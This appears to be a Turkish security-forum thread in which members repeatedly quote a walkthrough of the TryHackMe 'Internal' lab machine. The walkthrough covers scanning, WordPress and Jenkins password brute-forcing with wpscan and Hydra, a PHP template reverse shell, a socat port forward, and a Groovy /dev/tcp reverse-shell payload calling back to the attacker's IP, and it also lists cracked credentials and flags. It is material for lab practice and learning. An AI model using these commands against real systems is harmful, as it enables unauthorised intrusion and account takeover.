aubreanna@internal:/var/backups$ su root
Password:
root@internal:/var/backups# cd /root/
root@internal:~# ll
total 48
drwx------ 7 root root 4096 Aug 3 13:16 ./
drwxr-xr-x 24 root root 4096 Aug 3 01:31 ../
-rw------- 1 root root 193 Aug 3 20:01 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Aug 3 02:23 .cache/
drwx------ 3 root root 4096 Aug 3 02:23 .gnupg/
drwxr-xr-x 3 root root 4096 Aug 3 01:53 .local/
-rw------- 1 root root 1071 Aug 3 13:16 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Aug 3 01:40 .ssh/
-rw-r--r-- 1 root root 22 Aug 3 04:13 root.txt
drwxr-xr-x 3 root root 4096 Aug 3 01:41 snap/
root@internal:~# cat root.txt
THM{d0ck3r_d3str0y3r}

CTF bitti cevaplar:
Kullanıcı bayrağı: THM{int3rna1_fl4g_1}
Kök bayrağı: THM{d0ck3r_d3str0y3r}

İlla bi özet geçmek gerekirse şu şekildedir:
Nmap ettik site bulunduğunu gördük
Gobuster ile taradık wordpress olduğunu gördük
Wpscan ile zorladık admin paneli kullanıcı adı ve şifresini aldık
Sonra ters kabuk ettik
/opt klasörünün içine gittik ve orada wps-save.txt yi açtık
Diğer kullanıcı ile bağlandık giriş klasörüne gittik.
Dosyaları karıştırırken kullanıcı bayrağını bulduk
Biraz daha ilerledik localhost 8080 ile bakılabileceğini bulduk
Oradan localhost için 8888 limanını aldık ssh bağlandık
Root.txt ye baktık root bayrağı CTF i bitirdik.
Dostum keşke biraz renk görsel kattsaydin 1,2 satır okuduktan sonra dikkat dağılır
 

Kudad

Katılımcı Üye
14 Nis 2021
631
3
138
Dostum keşke biraz renk görsel kattsaydin 1,2 satır okuduktan sonra dikkat dağılır
sonradan aklıma geldi ztn her hafta CTF atılacağı için haftaya daha zor makinede renkli ve görselli bir şekilde atarım
renk için arkadaşlar kusuruma bakmazsa ve daha çok CTF e odaklanırsa sevinirim
 

Shafizada

Katılımcı Üye
22 Kas 2021
289
1
67
Azerbaijan, Sumqayit
Merhaba THT üyeleri bugün sizlere Tryhackme’de bulunan internal makinesinin çözümünü göstereceğim. Daha fazla sizi bekletmeden çözüme geçeyim :) .

Zorluk: Sert
Link: TryHackMe | Internal

Çoğu makine yaptığımız gibi ilk standart bir nmap taraması yapalım
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tarama sonuçlarından dosya elde edemedik ama bir ssh servisi ve Apache/2.4.29 http serverımız(bloğumuz) var

Bloğun daha detayına inmek için gobuster ile bi tarama daha yapıyorum

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://internal.thm
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/03 14:28:32 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/blog (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/09/03 14:29:00 Finished
===============================================================

Wordpress olduğunu görmüş olduk şimdi wordpress siteleri için en çok kullanılan toollardan olan wpscan ile tarayalım. Wpscan’ın paremaetreleri tamamen ayrı birr konu Google’da aratarak bulabilirsiniz.
wpscan --url http://internal.thm/blog -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.4
Sponsored by Automattic - Automattic
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.137.187]
[+] Started: Thu Sep 3 14:36:16 2020

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - XML-RPC Pingback API « WordPress Codex
| - WordPress XMLRPC GHOST Vulnerability Scanner
| - Wordpress XMLRPC DoS
| - Wordpress XML-RPC Username/Password Login Scanner
| - Wordpress Pingback Locator

[+] http://internal.thm/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - How to defend Wordpress from DDoS attacks?
| - WP-Cron detection? · Issue #1299 · wpscanteam/wpscan

[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://internal.thm/blog/index.php/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>
| - http://internal.thm/blog/index.php/comments/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>

[+] WordPress theme in use: twentyseventeen
| Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
| Style Name: Twenty Seventeen
| Style URI: Twenty Seventeen
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: Blog Tool, Publishing Platform, and CMS - WordPress.org
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=======================================> (10 / 10) 100.00% Time: 00:00:00

User(s) Identified:

[+] admin

| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Thu Sep 3 14:36:20 2020
[+] Requests Done: 24
[+] Cached Requests: 34
[+] Data Sent: 5.936 KB
[+] Data Received: 181.104 KB
[+] Memory used: 172.43 MB
[+] Elapsed time: 00:00:03
WPScan'a göre, tek kullanıcı . WPScan'ın bruteforce özelliğini kullanarak şifreyi zorlamaya çalışalım.
wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt

[REDACTED]

[!] Valid Combinations Found:

| Username: admin, Password: my2boys

[REDACTED]

Admin panelin şifresi ve kullanıcı adını bulduk. Şimdi admin paneline(http://internal.thm/blog/wp-admin/) gidip kullanıcı adı ve şifreyi girdik doğru. Şimdi şablonların php kaynak kodunu değitirerek ters kabuk oluşturacağız. Web arayüzünde "Görünüm > Tema Editörü > 404.php" e gidin ve PHP kodunu bir PHP ters kabuğuyla değiştirip bir bağlantı daha açıp şablonu çağıracağız

$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.137.187] 51322
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

12:46:33 up 23 min, 0 users, load average: 0.02, 0.20, 0.18
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@internal:/$ whoami
whoami
www-data

ters kabuk çalışıyor şimdi yanal hareketle yetki yükseltmeye ve diğer kişilerin hesaplarına gireceğiz. Bir dizin var /opt buradan wp-save.txtyi görüntüleyin

Bill,

Aubreanna needed these credentials for something later. Let her know you have them and where they are.

aubreanna:bubb13guM!@#123

www-data@internal:/opt$ su aubreanna
su aubreanna
Password: bubb13guM!@#123

aubreanna@internal:/opt$ whoami
whoami
aubreanna

şimdi aubreanna adında biriyiz :)
giriş klasörüne bakıyoruz:

aubreanna@internal:/opt$ cd /home/aubreanna
cd /home/aubreanna
aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt
aubreanna@internal:~$ cat user.txt
cat user.txt
THM{int3rna1_fl4g_1}

Kullanıcı bayrağı alındı şimdi hedef root bayrağı var.
Kök bayrağı için root olmaya çalıştık ama maalesef:

aubreanna@internal:~$ sudo -l
Sorry, user aubreanna may not run sudo on internal.

Şimdi en son bulduğumuz klasörleri karıştırıyoruz:

aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt

Jenkins.txt adında bir dosya var görüntüleyelim:

Internal Jenkins service is running on 172.17.0.2:8080

Büyük ihtimalle ya localhosttur yada ayrı makineden bağlanmamız gerekir bunu anlamak için:

aubreanna@internal:~$ netstat -tan | grep 8080
tcp 0 0 127.0.0.1:8080 0.0.0.0:*LISTEN
Docker'ın hedefte mevcut olduğuna dair birkaç gösterge vardır ve Jenkins belgeleri (Installing Jenkins) Jenkins'in docker ile nasıl kurulacağı açıklandığı için, Jenkins'in bu şekilde yüklendiğini varsayabiliriz. Buna bir el atalım bakalım olacak mı?
Jenkins'i bize kullanılabilir hale getirmek için (sadece localhost yerine), bağlantı noktalarını yeniden yönlendirmek için kullanabiliriz. Hedefte mevcut olmadığı için, onu transfer etmeliyiz. Bunu şu şekilde yapabilirsiniz: socat
Saldırıgan yani biz:
$ which socat
/usr/bin/socat
kali@kali:/data/Internal$ cd /usr/bin/
kali@kali:/usr/bin$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En son bağlandığımız kişide:
aubreanna@internal:~$ cd /tmp/
aubreanna@internal:/tmp$ wget http://10.8.50.72:8000/socat
aubreanna@internal:/tmp$ chmod +x socat
aubreanna@internal:/tmp$ ./socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
şimdi 8888 portu bize açık localhostta tmmdır. Hesabı zorlamak gerek.
Hydra saldırımızı oluşturmak için Burp Suite'teki POST talebini engelleyin.
POST /j_acegi_security_check HTTP/1.1
Host: internal.thm:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://internal.thm:8888/login?from=/
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: JSESSIONID.fb3308f2=node0lfk0eau5l4zu17h43ifl0scpw36.node0
Upgrade-Insecure-Requests: 1

j_username=admin&j_password=admin&from=%2F&Submit=Sign+in
Artık gerekli tüm bilgilere sahibiz. İşte hidra saldırısı:
kali@kali:/data/src$ hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm -s 8888 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (GitHub - vanhauser-thc/thc-hydra: hydra) starting at 2020-09-03 15:40:12
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-post-form://internal.thm:8888/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password
[STATUS] 396.00 tries/min, 396 tries in 00:01h, 14344003 to do in 603:43h, 16 active
[8888][http-post-form] host: internal.thm login: admin password: spongebob
1 of 1 target successfully completed, 1 valid password found
Hydra (GitHub - vanhauser-thc/thc-hydra: hydra) finished at 2020-09-03 15:41:31
Artık yöneticinin şifresi elimizde. ile http://internal.thm:8888 bağlanalım. admin:spongebob
Artık Jenkins'e yönetici erişimimiz olduğuna göre, komutları çalıştırabiliriz ve sonuçta bunu ters bir kabuk için kullanacağız.
Bir dinleyici çalıştırarak başlayın (makinenizde):
$ rlwrap nc -nlvp 5555
Şimdi, Jenkins'te , "Jenkins > Düğümleri > yöneticisi" ne gidin ve menüden "Script Console" a tıklayın. Aşağıdaki komutu yürütün (burada bulunur):
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.8.50.72/5555;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
İlk SSH bağlantımıza şöyle geri dönelim: aubreanna
aubreanna@internal:/var/backups$ su root
Password:
root@internal:/var/backups# cd /root/
root@internal:~# ll
total 48
drwx------ 7 root root 4096 Aug 3 13:16 ./
drwxr-xr-x 24 root root 4096 Aug 3 01:31 ../
-rw------- 1 root root 193 Aug 3 20:01 .bash_history
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Aug 3 02:23 .cache/
drwx------ 3 root root 4096 Aug 3 02:23 .gnupg/
drwxr-xr-x 3 root root 4096 Aug 3 01:53 .local/
-rw------- 1 root root 1071 Aug 3 13:16 .mysql_history
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Aug 3 01:40 .ssh/
-rw-r--r-- 1 root root 22 Aug 3 04:13 root.txt
drwxr-xr-x 3 root root 4096 Aug 3 01:41 snap/
root@internal:~# cat root.txt
THM{d0ck3r_d3str0y3r}

CTF bitti cevaplar:
Kullanıcı bayrağı: THM{int3rna1_fl4g_1}
Kök bayrağı: THM{d0ck3r_d3str0y3r}

İlla bi özet geçmek gerekirse şu şekildedir:
Nmap ettik site bulunduğunu gördük
Gobuster ile taradık wordpress olduğunu gördük
Wpscan ile zorladık admin paneli kullanıcı adı ve şifresini aldık
Sonra ters kabuk ettik
/opt klasörünün içine gittik ve orada wps-save.txt yi açtık
Diğer kullanıcı ile bağlandık giriş klasörüne gittik.
Dosyaları karıştırırken kullanıcı bayrağını bulduk
Biraz daha ilerledik localhost 8080 ile bakılabileceğini bulduk
Oradan localhost için 8888 limanını aldık ssh bağlandık
Root.txt ye baktık root bayrağı CTF i bitirdik.
Eline sağlık renkli yapsan daha iyi olur
 

UZAY 52

Uzman üye
14 Ağu 2021
1,298
10
833
Ddos
Merhaba THT üyeleri bugün sizlere Tryhackme’de bulunan internal makinesinin çözümünü göstereceğim. Daha fazla sizi bekletmeden çözüme geçeyim :) .

Zorluk: Sert
Link: TryHackMe | Internal

Çoğu makine yaptığımız gibi ilk standart bir nmap taraması yapalım
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6e:fa:ef:be:f6:5f:98:b9:59:7b:f7:8e:b9:c5:62:1e (RSA)
| 256 ed:64:ed:33:e5:c9:30:58:ba:23:04:0d:14:eb:30:e9 (ECDSA)
|_ 256 b0:7f:7f:7b:52:62:62:2a:60:d4:3d:36:fa:89:ee:ff (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tarama sonuçlarından dosya elde edemedik ama bir ssh servisi ve Apache/2.4.29 http serverımız(bloğumuz) var

Bloğun daha detayına inmek için gobuster ile bi tarama daha yapıyorum

gobuster dir -u http://internal.thm -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://internal.thm
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/09/03 14:28:32 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/blog (Status: 301)
/index.html (Status: 200)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
/wordpress (Status: 301)
===============================================================
2020/09/03 14:29:00 Finished
===============================================================

Wordpress olduğunu görmüş olduk şimdi wordpress siteleri için en çok kullanılan toollardan olan wpscan ile tarayalım. Wpscan’ın paremaetreleri tamamen ayrı birr konu Google’da aratarak bulabilirsiniz.
wpscan --url http://internal.thm/blog -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.4
Sponsored by Automattic - Automattic
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://internal.thm/blog/ [10.10.137.187]
[+] Started: Thu Sep 3 14:36:16 2020

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://internal.thm/blog/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - XML-RPC Pingback API « WordPress Codex
| - WordPress XMLRPC GHOST Vulnerability Scanner
| - Wordpress XMLRPC DoS
| - Wordpress XML-RPC Username/Password Login Scanner
| - Wordpress Pingback Locator

[+] http://internal.thm/blog/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://internal.thm/blog/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - How to defend Wordpress from DDoS attacks?
| - WP-Cron detection? · Issue #1299 · wpscanteam/wpscan

[+] WordPress version 5.4.2 identified (Latest, released on 2020-06-10).
| Found By: Rss Generator (Passive Detection)
| - http://internal.thm/blog/index.php/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>
| - http://internal.thm/blog/index.php/comments/feed/, <generator>Blog Tool, Publishing Platform, and CMS - WordPress.org</generator>

[+] WordPress theme in use: twentyseventeen
| Location: http://internal.thm/blog/wp-content/themes/twentyseventeen/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://internal.thm/blog/wp-content/themes/twentyseventeen/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507
| Style Name: Twenty Seventeen
| Style URI: Twenty Seventeen
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: Blog Tool, Publishing Platform, and CMS - WordPress.org
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://internal.thm/blog/wp-content/themes/twentyseventeen/style.css?ver=20190507, Match: 'Version: 2.3'

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=======================================> (10 / 10) 100.00% Time: 00:00:00

User(s) Identified:

[+] admin

| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://internal.thm/blog/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Thu Sep 3 14:36:20 2020
[+] Requests Done: 24
[+] Cached Requests: 34
[+] Data Sent: 5.936 KB
[+] Data Received: 181.104 KB
[+] Memory used: 172.43 MB
[+] Elapsed time: 00:00:03
WPScan'a göre, tek kullanıcı . WPScan'ın bruteforce özelliğini kullanarak şifreyi zorlamaya çalışalım.
wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt

[REDACTED]

[!] Valid Combinations Found:

| Username: admin, Password: my2boys

[REDACTED]

Admin panelin şifresi ve kullanıcı adını bulduk. Şimdi admin paneline(http://internal.thm/blog/wp-admin/) gidip kullanıcı adı ve şifreyi girdik doğru. Şimdi şablonların php kaynak kodunu değitirerek ters kabuk oluşturacağız. Web arayüzünde "Görünüm > Tema Editörü > 404.php" e gidin ve PHP kodunu bir PHP ters kabuğuyla değiştirip bir bağlantı daha açıp şablonu çağıracağız

$ rlwrap nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.137.187] 51322
Linux internal 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux

12:46:33 up 23 min, 0 users, load average: 0.02, 0.20, 0.18
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@internal:/$ whoami
whoami
www-data

ters kabuk çalışıyor şimdi yanal hareketle yetki yükseltmeye ve diğer kişilerin hesaplarına gireceğiz. Bir dizin var /opt buradan wp-save.txtyi görüntüleyin

Bill,

Aubreanna needed these credentials for something later. Let her know you have them and where they are.

aubreanna:bubb13guM!@#123

www-data@internal:/opt$ su aubreanna
su aubreanna
Password: bubb13guM!@#123

aubreanna@internal:/opt$ whoami
whoami
aubreanna

şimdi aubreanna adında biriyiz :)
giriş klasörüne bakıyoruz:

aubreanna@internal:/opt$ cd /home/aubreanna
cd /home/aubreanna
aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt
aubreanna@internal:~$ cat user.txt
cat user.txt
THM{int3rna1_fl4g_1}

Kullanıcı bayrağı alındı şimdi hedef root bayrağı var.
Kök bayrağı için root olmaya çalıştık ama maalesef:

aubreanna@internal:~$ sudo -l
Sorry, user aubreanna may not run sudo on internal.

Şimdi en son bulduğumuz klasörleri karıştırıyoruz:

aubreanna@internal:~$ ls -la
ls -la
total 56
drwx------ 7 aubreanna aubreanna 4096 Aug 3 03:57 .
drwxr-xr-x 3 root root 4096 Aug 3 01:40 ..
-rwx------ 1 aubreanna aubreanna 7 Aug 3 20:01 .bash_history
-rwx------ 1 aubreanna aubreanna 220 Apr 4 2018 .bash_logout
-rwx------ 1 aubreanna aubreanna 3771 Apr 4 2018 .bashrc
drwx------ 2 aubreanna aubreanna 4096 Aug 3 01:41 .cache
drwx------ 3 aubreanna aubreanna 4096 Aug 3 19:36 .gnupg
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:53 .local
-rwx------ 1 root root 223 Aug 3 01:56 .mysql_history
-rwx------ 1 aubreanna aubreanna 807 Apr 4 2018 .profile
drwx------ 2 aubreanna aubreanna 4096 Aug 3 02:38 .ssh
-rwx------ 1 aubreanna aubreanna 0 Aug 3 01:41 .sudo_as_admin_successful
-rwx------ 1 aubreanna aubreanna 55 Aug 3 03:57 jenkins.txt
drwx------ 3 aubreanna aubreanna 4096 Aug 3 01:41 snap
-rwx------ 1 aubreanna aubreanna 21 Aug 3 03:56 user.txt

Jenkins.txt adında bir dosya var görüntüleyelim:

Internal Jenkins service is running on 172.17.0.2:8080

Büyük ihtimalle ya localhosttur yada ayrı makineden bağlanmamız gerekir bunu anlamak için:

aubreanna@internal:~$ netstat -tan | grep 8080
tcp 0 0 127.0.0.1:8080 0.0.0.0:*LISTEN
Docker'ın hedefte mevcut olduğuna dair birkaç gösterge vardır ve Jenkins belgeleri (Installing Jenkins) Jenkins'in docker ile nasıl kurulacağı açıklandığı için, Jenkins'in bu şekilde yüklendiğini varsayabiliriz. Buna bir el atalım bakalım olacak mı?
Jenkins'i bize kullanılabilir hale getirmek için (sadece localhost yerine), bağlantı noktalarını yeniden yönlendirmek için kullanabiliriz. Hedefte mevcut olmadığı için, onu transfer etmeliyiz. Bunu şu şekilde yapabilirsiniz: socat
Saldırıgan yani biz:
$ which socat
/usr/bin/socat
kali@kali:/data/Internal$ cd /usr/bin/
kali@kali:/usr/bin$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

En son bağlandığımız kişide:
aubreanna@internal:~$ cd /tmp/
aubreanna@internal:/tmp$ wget http://10.8.50.72:8000/socat
aubreanna@internal:/tmp$ chmod +x socat
aubreanna@internal:/tmp$ ./socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
şimdi 8888 portu bize açık localhostta tmmdır. Hesabı zorlamak gerek.
Hydra saldırımızı oluşturmak için Burp Suite'teki POST talebini engelleyin.
POST /j_acegi_security_check HTTP/1.1
Host: internal.thm:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
